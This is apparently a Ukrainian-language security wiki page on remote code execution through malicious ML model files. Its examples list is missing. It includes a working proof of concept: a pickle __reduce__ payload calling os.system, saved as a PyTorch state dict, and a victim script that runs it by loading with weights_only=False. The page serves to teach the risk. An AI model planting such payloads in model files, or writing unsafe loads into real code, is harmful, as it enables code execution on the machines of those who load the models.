Models RCE

Reading time: 4 minutes

Завантаження моделей до RCE

Моделі машинного навчання зазвичай поширюються в різних форматах, таких як ONNX, TensorFlow, PyTorch тощо. Ці моделі можуть бути завантажені на комп'ютери розробників або в продукційні системи для їх використання. Зазвичай моделі не повинні містити шкідливий код, але є випадки, коли модель може бути використана для виконання довільного коду на системі як передбачена функція або через вразливість у бібліотеці завантаження моделі.

На момент написання це деякі приклади цього типу вразливостей:

Більше того, є деякі моделі на основі python pickle, такі як ті, що використовуються PyTorch, які можуть бути використані для виконання довільного коду на системі, якщо їх не завантажити з weights_only=True. Отже, будь-яка модель на основі pickle може бути особливо вразливою до цього типу атак, навіть якщо вони не вказані в таблиці вище.

Приклад:

• Створіть модель:

# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")

• Завантажте модель:

# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error